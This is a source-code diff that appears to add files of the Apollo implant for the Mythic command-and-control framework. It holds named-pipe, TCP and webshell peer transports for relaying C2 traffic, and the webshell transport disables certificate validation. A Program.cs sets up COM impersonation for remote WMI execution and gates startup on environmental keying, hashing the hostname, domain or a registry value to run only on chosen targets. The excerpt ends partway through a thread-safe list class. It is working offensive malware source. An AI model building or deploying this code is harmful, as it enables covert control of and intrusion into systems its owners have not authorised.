byte[] totalChunkBytes = BitConverter.GetBytes(totalChunksToSend);
Array.Reverse(totalChunkBytes);
for (UInt32 currentChunk = 0; currentChunk < totalChunksToSend; currentChunk++)
{
byte[] chunkData;
if ((currentChunk + 1) * chunkSize > result.Length)
{
chunkData = new byte[result.Length - (currentChunk * chunkSize)];
}
else
{
chunkData = new byte[chunkSize];
}
Array.Copy(result, currentChunk * chunkSize, chunkData, 0, chunkData.Length);
byte[] sizeBytes = BitConverter.GetBytes((UInt32)chunkData.Length + 8);
Array.Reverse(sizeBytes);
byte[] currentChunkBytes = BitConverter.GetBytes(currentChunk);
Array.Reverse(currentChunkBytes);
DebugHelp.DebugWriteLine($"sending chunk {currentChunk}/{totalChunksToSend} with size {chunkData.Length + 8}");
ps.BeginWrite(sizeBytes, 0, sizeBytes.Length, OnAsyncMessageSent, p);
ps.BeginWrite(totalChunkBytes, 0, totalChunkBytes.Length, OnAsyncMessageSent, p);
ps.BeginWrite(currentChunkBytes, 0, currentChunkBytes.Length, OnAsyncMessageSent, p);
ps.BeginWrite(chunkData, 0, chunkData.Length, OnAsyncMessageSent, p);
}
DebugHelp.DebugWriteLine($"finished sending data from _senderQueue");
//ps.BeginWrite(result, 0, result.Length, OnAsyncMessageSent, p);
}
}
}
};
}
public void OnAsyncMessageSent(IAsyncResult result)
{
PipeStream pipe = (PipeStream)result.AsyncState;
// Potentially delete this since theoretically the sender Task does everything
if (pipe.IsConnected && !_cts.IsCancellationRequested)
{
try {
pipe.EndWrite(result);
}catch(Exception ex){
DebugHelp.DebugWriteLine($"failed to write to pipe: {ex}");
_cts.Cancel();
}
}
}
public override bool Connected()
{
return _pipe.IsConnected;
}
public override bool Finished()
{
return _previouslyConnected && !_pipe.IsConnected;
}
public void OnConnect(object sender, NamedPipeMessageArgs args)
{
_pipe = args.Pipe;
OnConnectionEstablished(sender, args);
_sendTask = new TTasks.Task(_sendAction, args.Pipe);
_sendTask.Start();
_previouslyConnected = true;
}
public void OnDisconnect(object sender, NamedPipeMessageArgs args)
{
_cts.Cancel();
args.Pipe.Close();
_senderEvent.Set();
if(_sendTask != null){
_sendTask.Wait();
}
base.OnDisconnect(this, args);
}
public void OnMessageReceived(object sender, NamedPipeMessageArgs args)
{
Byte[] sData = args.Data.Data.Take(args.Data.DataLength).ToArray();
while (sData.Length > 0)
{
if (_currentMessageSize == 0)
{
// This means we're looking at the start of a new message
if (sData.Length < 4)
{
// we didn't even get enough for a size
}
else
{
Byte[] messageSizeBytes = sData.Take(4).ToArray();
sData = sData.Skip(4).ToArray();
Array.Reverse(messageSizeBytes);
_currentMessageSize = BitConverter.ToUInt32(messageSizeBytes, 0) - 8;
continue;
}
}
if (_currentMessageTotalChunks == 0)
{
// This means we're looking at the start of a new message
if (sData.Length < 4)
{
// we didn't even get enough for a size
}
else
{
Byte[] messageSizeBytes = sData.Take(4).ToArray();
sData = sData.Skip(4).ToArray();
Array.Reverse(messageSizeBytes);
_currentMessageTotalChunks = BitConverter.ToUInt32(messageSizeBytes, 0);
continue;
}
}
if (_currentMessageChunkNum == 0 && !_currentMessageReadAllMetadata)
{
// This means we're looking at the start of a new message
if (sData.Length < 4)
{
// we didn't even get enough for a size
}
else
{
Byte[] messageSizeBytes = sData.Take(4).ToArray();
sData = sData.Skip(4).ToArray();
Array.Reverse(messageSizeBytes); // reverse the bytes so they're in big endian?
_currentMessageChunkNum = BitConverter.ToUInt32(messageSizeBytes, 0) + 1;
_currentMessageReadAllMetadata = true;
continue;
}
}
// try to read up to the remaining number of bytes
if (_partialData.Length + sData.Length > _currentMessageSize)
{
// we potentially have this message and the next data in the pipeline
byte[] nextData = sData.Take((int)_currentMessageSize - _partialData.Length).ToArray();
_partialData = [.. _partialData, .. nextData];
sData = sData.Skip(nextData.Length).ToArray();
}
else
{
// we don't enough enough data to max out the current message size, so take it all
_partialData = [.. _partialData, .. sData];
sData = sData.Skip(sData.Length).ToArray();
}
if (_partialData.Length == _currentMessageSize)
{
DebugHelp.DebugWriteLine($"got chunk {_currentMessageChunkNum}/{_currentMessageTotalChunks} with size {_currentMessageSize + 8}");
UnwrapMessage();
_currentMessageSize = 0;
_currentMessageChunkNum = 0;
_currentMessageTotalChunks = 0;
_currentMessageReadAllMetadata = false;
}
}
}
private void UnwrapMessage()
{
AS.IPCChunkedData chunkedData = new(id: _currentMessageID, chunkNum: (int)_currentMessageChunkNum, totalChunks: (int)_currentMessageTotalChunks, data: _partialData.Take(_partialData.Length).ToArray());
_partialData = [];
lock (_messageOrganizer)
{
if (!_messageOrganizer.ContainsKey(chunkedData.ID))
{
_messageOrganizer[chunkedData.ID] = new ChunkedMessageStore<AS.IPCChunkedData>();
_messageOrganizer[chunkedData.ID].MessageComplete += DeserializeToReceiver;
}
}
_messageOrganizer[chunkedData.ID].AddMessage(chunkedData);
if (_currentMessageChunkNum == _currentMessageTotalChunks)
{
_currentMessageID = Guid.NewGuid().ToString();
}
}
public override bool Start()
{
return _pipeClient.Connect(5000);
}
public override void Stop()
{
if(_pipe != null){
_pipe.Close();
}
if(_sendTask != null){
_sendTask.Wait();
}
}
}
}
@@ -0,0 +1,247 @@
using ApolloInterop.Classes;
using ApolloInterop.Interfaces;
using ApolloInterop.Structs.MythicStructs;
using System;
using System.Linq;
using System.Text;
using AI = ApolloInterop;
using AS = ApolloInterop.Structs.ApolloStructs;
using TTasks = System.Threading.Tasks;
using System.Net.Sockets;
using ApolloInterop.Classes.Api;
using ApolloInterop.Classes.Core;
using System.Xml.Linq;
using ApolloInterop.Utils;
using ApolloInterop.Structs.ApolloStructs;
using System.Net;
namespace Apollo.Peers.TCP
{
public class TCPPeer : AI.Classes.P2P.Peer
{
private AsyncTcpClient _tcpClient = null;
private Action<object> _sendAction;
private TTasks.Task _sendTask;
private bool _connected = false;
private int chunkSize = AI.Constants.IPC.SEND_SIZE;
private UInt32 _currentMessageSize = 0;
private UInt32 _currentMessageChunkNum = 0;
private UInt32 _currentMessageTotalChunks = 0;
private bool _currentMessageReadAllMetadata = false;
private string _currentMessageID = Guid.NewGuid().ToString();
private Byte[] _partialData = [];
//private IntPtr _socketHandle = IntPtr.Zero;
private Socket _client;
private delegate void CloseHandle(IntPtr handle);
//private CloseHandle _pCloseHandle;
public TCPPeer(IAgent agent, PeerInformation info) : base(agent, info)
{
C2ProfileName = "tcp";
_tcpClient = new AsyncTcpClient(info.Hostname, info.C2Profile.Parameters.Port);
_tcpClient.ConnectionEstablished += OnConnect;
_tcpClient.MessageReceived += OnMessageReceived;
_tcpClient.Disconnect += OnDisconnect;
//_pCloseHandle = _agent.GetApi().GetLibraryFunction<CloseHandle>(Library.KERNEL32, "CloseHandle");
_sendAction = (object p) =>
{
TcpClient c = (TcpClient)p;
while (c.Connected && !_cts.IsCancellationRequested)
{
// Check queue before waiting to avoid race condition
if (_senderQueue.IsEmpty)
{
_senderEvent.WaitOne();
}
while(!_senderQueue.IsEmpty && !_cts.IsCancellationRequested && c.Connected)
{
if (!_cts.IsCancellationRequested && c.Connected && _senderQueue.TryDequeue(out byte[] result))
{
UInt32 totalChunksToSend = (UInt32)(result.Length / chunkSize) + 1;
DebugHelp.DebugWriteLine($"have {totalChunksToSend} chunks to send out");
byte[] totalChunkBytes = BitConverter.GetBytes(totalChunksToSend);
Array.Reverse(totalChunkBytes);
for(UInt32 currentChunk = 0; currentChunk < totalChunksToSend; currentChunk++)
{
byte[] chunkData;
if ( (currentChunk + 1) * chunkSize > result.Length)
{
chunkData = new byte[result.Length - (currentChunk * chunkSize)];
} else
{
chunkData = new byte[chunkSize];
}
Array.Copy(result, currentChunk * chunkSize, chunkData, 0, chunkData.Length);
byte[] sizeBytes = BitConverter.GetBytes((UInt32)chunkData.Length + 8);
Array.Reverse(sizeBytes);
byte[] currentChunkBytes = BitConverter.GetBytes(currentChunk);
Array.Reverse(currentChunkBytes);
DebugHelp.DebugWriteLine($"sending chunk {currentChunk}/{totalChunksToSend} with size {chunkData.Length + 8}");
c.GetStream().BeginWrite(sizeBytes, 0, sizeBytes.Length, OnAsyncMessageSent, p);
c.GetStream().BeginWrite(totalChunkBytes, 0, totalChunkBytes.Length, OnAsyncMessageSent, p);
c.GetStream().BeginWrite(currentChunkBytes, 0, currentChunkBytes.Length, OnAsyncMessageSent, p);
c.GetStream().BeginWrite(chunkData, 0, chunkData.Length, OnAsyncMessageSent, p);
}
DebugHelp.DebugWriteLine($"finished sending data from _senderQueue");
}
}
}
};
}
public void OnAsyncMessageSent(IAsyncResult result)
{
TcpClient client = (TcpClient)result.AsyncState;
if (client.Connected && !_cts.IsCancellationRequested)
{
client.GetStream().EndWrite(result);
}
}
public override bool Connected()
{
return _connected;
}
public override bool Finished()
{
return _previouslyConnected && !_connected;
}
public void OnConnect(object sender, TcpMessageEventArgs args)
{
args.State = this;
OnConnectionEstablished(sender, args);
_sendTask = new TTasks.Task(_sendAction, args.Client);
_sendTask.Start();
_connected = true;
_previouslyConnected = true;
_client = args.Client.Client;
}
public void OnDisconnect(object sender, TcpMessageEventArgs args)
{
_cts.Cancel();
args.Client.Close();
_senderEvent.Set();
if(_sendTask != null){
_sendTask.Wait();
}
_connected = false;
base.OnDisconnect(this, args);
}
public void OnMessageReceived(object sender, TcpMessageEventArgs args)
{
Byte[] sData = args.Data.Data.Take(args.Data.DataLength).ToArray();
while (sData.Length > 0)
{
if (_currentMessageSize == 0)
{
// This means we're looking at the start of a new message
if (sData.Length < 4)
{
// we didn't even get enough for a size
} else
{
Byte[] messageSizeBytes = sData.Take(4).ToArray();
sData = sData.Skip(4).ToArray();
Array.Reverse(messageSizeBytes); // reverse the bytes so they're in big endian?
_currentMessageSize = BitConverter.ToUInt32(messageSizeBytes, 0) - 8;
continue;
}
}
if (_currentMessageTotalChunks == 0)
{
// This means we're looking at the start of a new message
if (sData.Length < 4)
{
// we didn't even get enough for a size
}
else
{
Byte[] messageSizeBytes = sData.Take(4).ToArray();
sData = sData.Skip(4).ToArray();
Array.Reverse(messageSizeBytes); // reverse the bytes so they're in big endian?
_currentMessageTotalChunks = BitConverter.ToUInt32(messageSizeBytes, 0);
continue;
}
}
if(_currentMessageChunkNum == 0 && !_currentMessageReadAllMetadata)
{
// This means we're looking at the start of a new message
if (sData.Length < 4)
{
// we didn't even get enough for a size
}
else
{
Byte[] messageSizeBytes = sData.Take(4).ToArray();
sData = sData.Skip(4).ToArray();
Array.Reverse(messageSizeBytes); // reverse the bytes so they're in big endian?
_currentMessageChunkNum = BitConverter.ToUInt32(messageSizeBytes, 0) + 1;
_currentMessageReadAllMetadata = true;
continue;
}
}
// try to read up to the remaining number of bytes
if (_partialData.Length + sData.Length > _currentMessageSize)
{
// we potentially have this message and the next data in the pipeline
byte[] nextData = sData.Take((int)_currentMessageSize - _partialData.Length).ToArray();
_partialData = [.. _partialData, .. nextData];
sData = sData.Skip(nextData.Length).ToArray();
} else
{
// we don't enough enough data to max out the current message size, so take it all
_partialData = [.. _partialData, .. sData];
sData = sData.Skip(sData.Length).ToArray();
}
if (_partialData.Length == _currentMessageSize)
{
DebugHelp.DebugWriteLine($"got chunk {_currentMessageChunkNum}/{_currentMessageTotalChunks} with size {_currentMessageSize + 8}");
UnwrapMessage();
_currentMessageSize = 0;
_currentMessageChunkNum = 0;
_currentMessageTotalChunks = 0;
_currentMessageReadAllMetadata = false;
}
}
}
private void UnwrapMessage()
{
AS.IPCChunkedData chunkedData = new (id: _currentMessageID, chunkNum: (int)_currentMessageChunkNum, totalChunks: (int)_currentMessageTotalChunks, data: _partialData.Take(_partialData.Length).ToArray());
_partialData = [];
lock (_messageOrganizer)
{
if (!_messageOrganizer.ContainsKey(chunkedData.ID))
{
_messageOrganizer[chunkedData.ID] = new ChunkedMessageStore<AS.IPCChunkedData>();
_messageOrganizer[chunkedData.ID].MessageComplete += DeserializeToReceiver;
}
}
_messageOrganizer[chunkedData.ID].AddMessage(chunkedData);
if (_currentMessageChunkNum == _currentMessageTotalChunks)
{
_currentMessageID = Guid.NewGuid().ToString();
}
}
public override bool Start()
{
return _tcpClient.Connect();
}
public override void Stop()
{
_cts.Cancel(); // should then hit the OnDisconnect which does all the cleanup
_client?.Close();
}
}
}
@@ -0,0 +1,207 @@
using ApolloInterop.Classes;
using ApolloInterop.Interfaces;
using ApolloInterop.Structs.MythicStructs;
using System;
using System.IO.Pipes;
using System.Linq;
using System.Text;
using AI = ApolloInterop;
using AS = ApolloInterop.Structs.ApolloStructs;
using TTasks = System.Threading.Tasks;
using ApolloInterop.Classes.Core;
using ApolloInterop.Structs.ApolloStructs;
using Tasks;
using ApolloInterop.Utils;
using System.Net;
using System.IO;
using System.Security.Policy;
using ApolloInterop.Types.Delegates;
namespace Apollo.Peers.Webshell
{
public class WebshellPeer : AI.Classes.P2P.Peer
{
private Action _sendAction;
private TTasks.Task _sendTask;
private string _remote_url;
private string _remote_query_param;
private string _remote_cookie_name;
private string _remote_cookie_value;
private string _remote_agent_id;
private string _remote_user_agent;
public WebshellPeer(IAgent agent, PeerInformation info) : base(agent, info)
{
C2ProfileName = "webshell";
_remote_agent_id = info.CallbackUUID;
_mythicUUID = info.CallbackUUID;
_remote_url = info.C2Profile.Parameters.WebshellURL;
_remote_query_param = info.C2Profile.Parameters.WebshellQueryParam;
_remote_cookie_name = info.C2Profile.Parameters.WebshellCookieName;
_remote_cookie_value = info.C2Profile.Parameters.WebshellCookieValue;
_remote_user_agent = info.C2Profile.Parameters.WebshellUserAgent;
_sendAction = () =>
{
_mythicUUID = info.CallbackUUID;
OnUUIDNegotiated(this, new UUIDEventArgs(info.CallbackUUID));
// Disable certificate validation on web requests
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072 | SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls;
while (!_cts.IsCancellationRequested)
{
_senderEvent.WaitOne();
if (!_cts.IsCancellationRequested && _senderQueue.TryDequeue(out byte[] result))
{
string data = Encoding.UTF8.GetString(result);
//DebugHelp.DebugWriteLine($"Got data to send: {data}, _sendAction in WebshellPeer, to {_mythicUUID} from {_uuid}");
Send(data);
}
}
};
}
private void Send(string data)
{
WebClient webClient = new WebClient();
// Use Default Proxy and Cached Credentials for Internet Access
webClient.Proxy = WebRequest.GetSystemWebProxy();
webClient.Proxy.Credentials = CredentialCache.DefaultCredentials;
webClient.Headers.Add("User-Agent", _remote_user_agent);
//webClient.BaseAddress = _remote_url;
webClient.Headers.Add(HttpRequestHeader.Cookie, $"{_remote_cookie_name}={_remote_cookie_value}");
if (data.Length > 4000)
{
// do a POST
try
{
//DebugHelp.DebugWriteLine($"Sending POST to {_remote_url}");
var response = webClient.UploadString(_remote_url, data);
Recv(response, "");
}
catch (Exception ex)
{
Recv("", ex.Message);
}
} else
{
// do a GET
string QueryURL = _remote_url;
if (QueryURL.Contains("?"))
{
QueryURL += "&" + _remote_query_param + "=" + Uri.EscapeDataString(data);
} else
{
QueryURL += "?" + _remote_query_param + "=" + Uri.EscapeDataString(data);
}
try
{
//DebugHelp.DebugWriteLine($"Sending GET to {QueryURL}");
using (var stream = webClient.OpenRead(QueryURL))
{
using (var streamReader = new StreamReader(stream))
{
var result = streamReader.ReadToEnd();
Recv(result, "");
}
}
}
catch(Exception ex)
{
Recv("", ex.Message);
}
}
}
private void Recv(string data, string error_message)
{
//DebugHelp.DebugWriteLine($"got response: {data} - {error_message}");
if (error_message.Length > 0)
{
return;
}
if (data.StartsWith("<span id=\"task_response\">"))
{
string response = data.Replace("<span id=\"task_response\">", "").Replace("</span>", "");
if (response.Length == 0)
{
return;
}
byte[] raw = Convert.FromBase64String(response);
byte[] mythic_uuid_bytes = Encoding.UTF8.GetBytes(_mythicUUID);
byte[] final_bytes = new byte[raw.Length + mythic_uuid_bytes.Length];
Array.Copy(mythic_uuid_bytes, final_bytes, mythic_uuid_bytes.Length);
Array.Copy(raw, 0, final_bytes, mythic_uuid_bytes.Length, raw.Length);
string final_response = Convert.ToBase64String(final_bytes);
//DebugHelp.DebugWriteLine($"got final response: {final_response}");
_agent.GetTaskManager().AddDelegateMessageToQueue(new DelegateMessage()
{
MythicUUID = _mythicUUID,
UUID = _uuid,
C2Profile = C2ProfileName,
Message = final_response
});
}
}
public override bool Connected()
{
//DebugHelp.DebugWriteLine($"checking if Connected()");
return true;
}
public override bool Finished()
{
//DebugHelp.DebugWriteLine($"checking if Finished()");
return false;
}
public override bool Start()
{
//DebugHelp.DebugWriteLine($"Start()");
WebClient webClient = new WebClient();
// Use Default Proxy and Cached Credentials for Internet Access
webClient.Proxy = WebRequest.GetSystemWebProxy();
webClient.Proxy.Credentials = CredentialCache.DefaultCredentials;
webClient.Headers.Add("User-Agent", _remote_user_agent);
//webClient.BaseAddress = _remote_url;
webClient.Headers.Add(HttpRequestHeader.Cookie, $"{_remote_cookie_name}={_remote_cookie_value}");
string QueryURL = _remote_url;
if (QueryURL.Contains("?"))
{
QueryURL += "&" + _remote_query_param + "=";
} else
{
QueryURL += "?" + _remote_query_param + "=";
}
try
{
//DebugHelp.DebugWriteLine($"Sending GET to {QueryURL}");
using (var stream = webClient.OpenRead(QueryURL))
{
using (var streamReader = new StreamReader(stream))
{
streamReader.ReadToEnd();
}
}
_sendTask = new TTasks.Task(_sendAction);
_sendTask.Start();
return true;
}
catch(Exception ex)
{
throw ex;
}
}
public override void Stop()
{
//DebugHelp.DebugWriteLine($"Stop()");
_cts.Cancel();
_senderEvent.Set();
if(_sendTask != null){
_sendTask.Wait();
}
OnDisconnect(this, new EventArgs());
}
}
}
@@ -0,0 +1,313 @@
using System;
using ApolloInterop.Serializers;
using System.Collections.Generic;
using ApolloInterop.Classes;
using ApolloInterop.Interfaces;
using System.IO.Pipes;
using ApolloInterop.Structs.ApolloStructs;
using System.Text;
using System.Threading;
using System.Linq;
using System.Collections.Concurrent;
using ApolloInterop.Classes.Core;
using ApolloInterop.Classes.Events;
using ApolloInterop.Enums.ApolloEnums;
using System.Runtime.InteropServices;
using ApolloInterop.Utils;
using System.Security.Cryptography;
using Microsoft.Win32;
namespace Apollo
{
class Program
{
private static JsonSerializer _jsonSerializer = new JsonSerializer();
private static AutoResetEvent _receiverEvent = new AutoResetEvent(false);
private static ConcurrentQueue<IMythicMessage> _receiverQueue = new ConcurrentQueue<IMythicMessage>();
private static ConcurrentDictionary<string, ChunkedMessageStore<IPCChunkedData>> MessageStore = new ConcurrentDictionary<string, ChunkedMessageStore<IPCChunkedData>>();
private static AutoResetEvent _connected = new AutoResetEvent(false);
private static ConcurrentQueue<byte[]> _senderQueue = new ConcurrentQueue<byte[]>();
private static Action<object> _sendAction;
private static CancellationTokenSource _cancellationToken = new CancellationTokenSource();
private static AutoResetEvent _senderEvent = new AutoResetEvent(false);
private static AutoResetEvent _complete = new AutoResetEvent(false);
private static bool _completed;
private static Action<object> _flushMessages;
public enum RPC_AUTHN_LEVEL
{
PKT_PRIVACY = 6
}
public enum RPC_IMP_LEVEL
{
IMPERSONATE = 3
}
public enum EOLE_AUTHENTICATION_CAPABILITIES
{
DYNAMIC_CLOAKING = 0x40
}
[DllImport("ole32.dll")]
static extern int CoInitializeSecurity(IntPtr pSecDesc, int cAuthSvc, IntPtr asAuthSvc, IntPtr pReserved1, RPC_AUTHN_LEVEL dwAuthnLevel, RPC_IMP_LEVEL dwImpLevel, IntPtr pAuthList, EOLE_AUTHENTICATION_CAPABILITIES dwCapabilities, IntPtr pReserved3);
// we need this to happen first so we can use impersonation tokens with wmiexecute
static readonly int _security_init = CoInitializeSecurity(IntPtr.Zero, -1, IntPtr.Zero, IntPtr.Zero, RPC_AUTHN_LEVEL.PKT_PRIVACY, RPC_IMP_LEVEL.IMPERSONATE, IntPtr.Zero, EOLE_AUTHENTICATION_CAPABILITIES.DYNAMIC_CLOAKING, IntPtr.Zero);
public static void Main(string[] args)
{
if (_security_init != 0)
{
DebugHelp.DebugWriteLine($"CoInitializeSecurity status: {_security_init}");
}
// Check environmental keying before starting agent
if (!CheckEnvironmentalKeying())
{
// Exit silently if keying check fails
return;
}
Agent.Apollo ap = new Agent.Apollo(Config.PayloadUUID);
ap.Start();
}
private static bool CheckEnvironmentalKeying()
{
// If keying is not enabled, always return true
if (!Config.KeyingEnabled)
{
return true;
}
try
{
// Handle Registry keying separately (3 = Registry)
if (Config.KeyingMethod == 3)
{
return CheckRegistryKeying();
}
string currentValue = "";
// Get the appropriate value based on keying method
// 1 = Hostname, 2 = Domain
if (Config.KeyingMethod == 1)
{
currentValue = Environment.MachineName;
}
else if (Config.KeyingMethod == 2)
{
currentValue = Environment.UserDomainName;
}
else
{
// Unknown keying method, fail safe and exit
return false;
}
// Convert to uppercase before hashing (same as build time)
currentValue = currentValue.ToUpper();
// For hostname (1), just check the single value
if (Config.KeyingMethod == 1)
{
string currentValueHash = ComputeSHA256Hash(currentValue);
if (currentValueHash.Equals(Config.KeyingValueHash, StringComparison.OrdinalIgnoreCase))
{
return true;
}
}
// For domain (2), check full domain and all parts split by '.'
else if (Config.KeyingMethod == 2)
{
// First try the full domain
string fullDomainHash = ComputeSHA256Hash(currentValue);
if (fullDomainHash.Equals(Config.KeyingValueHash, StringComparison.OrdinalIgnoreCase))
{
return true;
}
// Then try each part of the domain split by '.'
string[] domainParts = currentValue.Split('.');
foreach (string part in domainParts)
{
if (!string.IsNullOrEmpty(part))
{
string partHash = ComputeSHA256Hash(part);
if (partHash.Equals(Config.KeyingValueHash, StringComparison.OrdinalIgnoreCase))
{
return true;
}
}
}
}
// Keying check failed
return false;
}
catch
{
// If any error occurs during keying check, fail safe and exit
return false;
}
}
private static bool CheckRegistryKeying()
{
try
{
// Parse the registry path
string regPath = Config.RegistryPath;
if (string.IsNullOrEmpty(regPath))
{
return false;
}
// Split registry path into hive, subkey, and value name
// Expected format: HKLM\SOFTWARE\Path\To\Key\ValueName
string[] pathParts = regPath.Split('\\');
if (pathParts.Length < 2)
{
return false;
}
// Get the registry hive
RegistryKey hive = GetRegistryHive(pathParts[0]);
if (hive == null)
{
return false;
}
// Get the value name (last part)
string valueName = pathParts[pathParts.Length - 1];
// Get the subkey path (everything between hive and value name)
string subKeyPath = string.Join("\\", pathParts, 1, pathParts.Length - 2);
// Open the registry key
using (RegistryKey key = hive.OpenSubKey(subKeyPath))
{
if (key == null)
{
// Registry key doesn't exist
return false;
}
// Get the registry value
object regValue = key.GetValue(valueName);
if (regValue == null)
{
// Registry value doesn't exist
return false;
}
string regValueString = regValue.ToString();
// Check based on comparison mode: 1 = Matches, 2 = Contains
if (Config.RegistryComparison == 1)
{
// Hash-based secure matching
string regValueHash = ComputeSHA256Hash(regValueString.ToUpper());
return regValueHash.Equals(Config.KeyingValueHash, StringComparison.OrdinalIgnoreCase);
}
else if (Config.RegistryComparison == 2)
{
// Plaintext contains matching (weak security)
return regValueString.IndexOf(Config.RegistryValue, StringComparison.OrdinalIgnoreCase) >= 0;
}
}
return false;
}
catch
{
// If any error occurs, fail safe and exit
return false;
}
}
private static RegistryKey GetRegistryHive(string hiveName)
{
switch (hiveName.ToUpper())
{
case "HKLM":
case "HKEY_LOCAL_MACHINE":
return Registry.LocalMachine;
case "HKCU":
case "HKEY_CURRENT_USER":
return Registry.CurrentUser;
case "HKCR":
case "HKEY_CLASSES_ROOT":
return Registry.ClassesRoot;
case "HKU":
case "HKEY_USERS":
return Registry.Users;
case "HKCC":
case "HKEY_CURRENT_CONFIG":
return Registry.CurrentConfig;
default:
return null;
}
}
private static string ComputeSHA256Hash(string input)
{
using (SHA256 sha256 = SHA256.Create())
{
byte[] hashBytes = sha256.ComputeHash(Encoding.UTF8.GetBytes(input));
StringBuilder sb = new StringBuilder();
foreach (byte b in hashBytes)
{
sb.Append(b.ToString("x2"));
}
return sb.ToString();
}
}
private static void Client_Disconnect(object sender, NamedPipeMessageArgs e)
{
e.Pipe.Close();
_complete.Set();
}
private static void Client_ConnectionEstablished(object sender, NamedPipeMessageArgs e)
{
System.Threading.Tasks.Task.Factory.StartNew(_sendAction, e.Pipe, _cancellationToken.Token);
}
private static void OnAsyncMessageSent(IAsyncResult result)
{
PipeStream pipe = (PipeStream)result.AsyncState;
// Potentially delete this since theoretically the sender Task does everything
if (pipe.IsConnected)
{
pipe.EndWrite(result);
if (!_cancellationToken.IsCancellationRequested && _senderQueue.TryDequeue(out byte[] bdata))
{
pipe.BeginWrite(bdata, 0, bdata.Length, OnAsyncMessageSent, pipe);
}
}
}
private static void OnAsyncMessageReceived(object sender, NamedPipeMessageArgs args)
{
IPCData d = args.Data;
string msg = Encoding.UTF8.GetString(d.Data.Take(d.DataLength).ToArray());
Console.Write(msg);
}
private static void DeserializeToReceiverQueue(object sender, ChunkMessageEventArgs<IPCChunkedData> args)
{
MessageType mt = args.Chunks[0].Message;
List<byte> data = new List<byte>();
for (int i = 0; i < args.Chunks.Length; i++)
{
data.AddRange(Convert.FromBase64String(args.Chunks[i].Data));
}
IMythicMessage msg = _jsonSerializer.DeserializeIPCMessage(data.ToArray(), mt);
//Console.WriteLine("We got a message: {0}", mt.ToString());
_receiverQueue.Enqueue(msg);
_receiverEvent.Set();
}
}
}
@@ -0,0 +1,35 @@
using System.Reflection;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("Apollo")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("Apollo")]
[assembly: AssemblyCopyright("Copyright © 2021")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("f606a86c-39af-4b5a-b146-f14edc1d762c")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
@@ -0,0 +1,3 @@
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<startup><supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.0"/></startup></configuration>
@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="Costura.Fody" version="5.7.0" targetFramework="net40" developmentDependency="true" />
</packages>
Binary file not shown.

After

Width:  |  Height:  |  Size: 264 KiB

@@ -0,0 +1,26 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<TargetFramework>net451</TargetFramework>
<OutputType>Library</OutputType>
<LangVersion>12</LangVersion>
<Nullable>enable</Nullable>
<GenerateAssemblyInfo>false</GenerateAssemblyInfo>
<Platforms>AnyCPU;x64;x86</Platforms>
</PropertyGroup>
<ItemGroup>
<Reference Include="System.Security" />
</ItemGroup>
<ItemGroup>
<PackageReference Include="Microsoft.CSharp" Version="4.7.0" />
<PackageReference Include="System.Data.DataSetExtensions" Version="4.5.0" />
<PackageReference Include="System.Memory" Version="4.5.5" />
<PackageReference Include="System.ValueTuple" Version="4.5.0" />
</ItemGroup>
<ItemGroup>
<PackageReference Include="PolySharp" Version="1.14.1" />
</ItemGroup>
<ItemGroup>
<Compile Remove="Serializers\ApolloSerializationBinder.cs" />
<Compile Remove="Serializers\EncryptedSMBSerializer.cs" />
</ItemGroup>
</Project>
@@ -0,0 +1,29 @@
namespace ApolloInterop.Classes.Api
{
public class Library
{
public string Value { get; private set; }
private Library(string libraryName)
{
Value = libraryName;
}
public override string ToString()
{
return Value;
}
public static Library NTDLL { get { return new Library("ntdll.dll"); } }
public static Library ADVAPI32 { get { return new Library("advapi32.dll"); } }
public static Library KERNEL32 { get { return new Library("kernel32.dll"); } }
public static Library USER32 { get { return new Library("user32.dll"); } }
public static Library USERENV { get { return new Library("userenv.dll"); } }
public static Library SHELL32 { get { return new Library("shell32.dll"); } }
public static Library SAMCLI { get { return new Library("samcli.dll"); } }
public static Library NETUTILS { get { return new Library("netutils.dll"); } }
public static Library NETAPI32 { get { return new Library("Netapi32.dll"); } }
public static Library SRVCLI { get { return new Library("srvcli.dll"); } }
public static Library IPHLPAPI { get { return new Library("iphlpapi.dll"); } }
public static Library SECUR32 { get { return new Library("Secur32.dll"); } }
}
}
@@ -0,0 +1,147 @@
using System;
using System.Collections;
using System.Collections.Generic;
namespace ApolloInterop.Classes.Collections
{
public class ThreadSafeList<T> : IList<T>
{
List<T> _collection = new List<T>();
public T this[int index] { get => GetIndexedItem(index); set => SetIndexedItem(index, value); }
private void SetIndexedItem(int index, T val)
{
lock(_collection)
{
_collection[index] = val;
}
}
private T GetIndexedItem(int index)
{
T item;
lock(_collection)
{
item = _collection[index];
}
return item;
}
public int Count()
{
int count = 0;
lock(_collection)
{
count = _collection.Count;
}
return count;
}
public bool IsReadOnly => false;
int ICollection<T>.Count => Count();
public void Add(T obj)
{
lock(_collection)
{
_collection.Add(obj);
}
}
public void Clear()
{
lock(_collection)
{
_collection.Clear();
}
}
public bool Contains(T item)
{
bool bRet;
lock(_collection)
{
bRet = _collection.Contains(item);
}
return bRet;
}
public void CopyTo(T[] array, int arrayIndex)
{
lock(_collection)
{
Buffer.BlockCopy(_collection.ToArray(), 0, array, arrayIndex, _collection.Count);
}
}
public IEnumerator<T> GetEnumerator()
{
IEnumerator<T> res;
lock(_collection)
{
res = _collection.GetEnumerator();
}
return res;
}
public int IndexOf(T item)
{
int i = -1;
lock(_collection)
{
i = _collection.IndexOf(item);
}
return i;
}
